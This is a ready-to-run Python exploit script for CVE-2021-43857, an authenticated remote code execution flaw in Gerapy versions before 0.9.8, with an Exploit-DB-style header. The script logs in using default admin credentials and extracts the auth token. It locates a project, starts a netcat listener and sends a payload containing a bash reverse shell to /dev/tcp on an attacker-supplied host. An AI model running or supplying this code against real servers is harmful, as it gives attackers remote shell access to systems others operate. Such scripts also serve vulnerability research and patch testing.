1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 |
# Exploit Title: Gerapy 0.9.7 - Remote Code Execution (RCE) (Authenticated) # Date: 03/01/2022 # Exploit Author: Jeremiasz Pluta # Vendor Homepage: https://github.com/Gerapy/Gerapy # Version: All versions of Gerapy prior to 0.9.8 # CVE: CVE-2021-43857 # Tested on: Gerapy 0.9.6 # Vulnerability: Gerapy prior to version 0.9.8 is vulnerable to remote code execution. This issue is patched in version 0.9.8. #!/usr/bin/python import sys import re import argparse import pyfiglet import requests import time import json import subprocess banner = pyfiglet.figlet_format("CVE-2021-43857") print(banner) print('Exploit for CVE-2021-43857') print('For: Gerapy < 0.9.8') login = "admin" #CHANGE ME IF NEEDED password = "admin" #CHANGE ME IF NEEDED class Exploit: def __init__(self, target_ip, target_port, localhost, localport): self.target_ip = target_ip self.target_port = target_port self.localhost = localhost self.localport = localport def exploitation(self): payload = """{"spider":"<code>/bin/bash -c 'bash -i >& /dev/tcp/""" + localhost + """/""" + localport + """ 0>&1'</code>"}""" #Login to the app (getting auth token) url = "http://" + target_ip + ":" + target_port r = requests.Session() print("[*] Resolving URL...") r1 = r.get(url) time.sleep(3) print("[*] Logging in to application...") r2 = r.post(url + "/api/user/auth", json={"username":login,"password":password}, allow_redirects=True) time.sleep(3) if (r2.status_code == 200): print('[*] Login successful! Proceeding...') else: print('[*] Something went wrong!') quit() #Create a header out of auth token (yep, it's bad as it looks) dict = json.loads(r2.text) temp_token = 'Token ' temp_token2 = json.dumps(dict['token']).strip('"') auth_token = {} auth_token['Authorization'] = temp_token + temp_token2 #Get the project list print("[*] Getting the project list") r3 = r.get(url + "/api/project/index", headers=auth_token, allow_redirects=True) time.sleep(3) if (r3.status_code != 200): print("[!] Something went wrong! Maybe the token is corrupted?") quit(); #Parse the project name for a request (yep, it's worse than earlier) dict = r3.text # [{'name': 'test'}] dict2 = json.dumps(dict) dict3 = json.loads(dict2) dict3 = json.loads(dict3) name = dict3[0]['name'] print("[*] Found project: " + name) #use the id to check the project print("[*] Getting the ID of the project to build the URL") r4 = r.get(url + "/api/project/" + name + "/build", headers=auth_token, allow_redirects=True) time.sleep(3) if (r4.status_code != 200): print("[*] Something went wrong! I can't reach the found project!") quit(); #format the json to dict dict = r4.text dict2 = json.dumps(dict) dict3 = json.loads(dict2) dict3 = json.loads(dict3) id = dict3['id'] print("[*] Found ID of the project: ", id) time.sleep(1) #netcat listener print("[*] Setting up a netcat listener") listener = subprocess.Popen(["nc", "-nvlp", self.localport]) time.sleep(3) #exec the payload print("[*] Executing reverse shell payload") print("[*] Watchout for shell! :)") r5 = r.post(url + "/api/project/" + str(id) + "/parse", data=payload, headers=auth_token, allow_redirects=True) listener.wait() if (r5.status_code == 200): print("[*] It worked!") listener.wait() else: print("[!] Something went wrong!") listener.terminate() def get_args(): parser = argparse.ArgumentParser(description='Gerapy < 0.9.8 - Remote Code Execution (RCE) (Authenticated)') parser.add_argument('-t', '--target', dest="url", required=True, action='store', help='Target IP') parser.add_argument('-p', '--port', dest="target_port", required=True, action='store', help='Target port') parser.add_argument('-L', '--lh', dest="localhost", required=True, action='store', help='Listening IP') parser.add_argument('-P', '--lp', dest="localport", required=True, action='store', help='Listening port') args = parser.parse_args() return args args = get_args() target_ip = args.url target_port = args.target_port localhost = args.localhost localport = args.localport exp = Exploit(target_ip, target_port, localhost, localport) exp.exploitation() |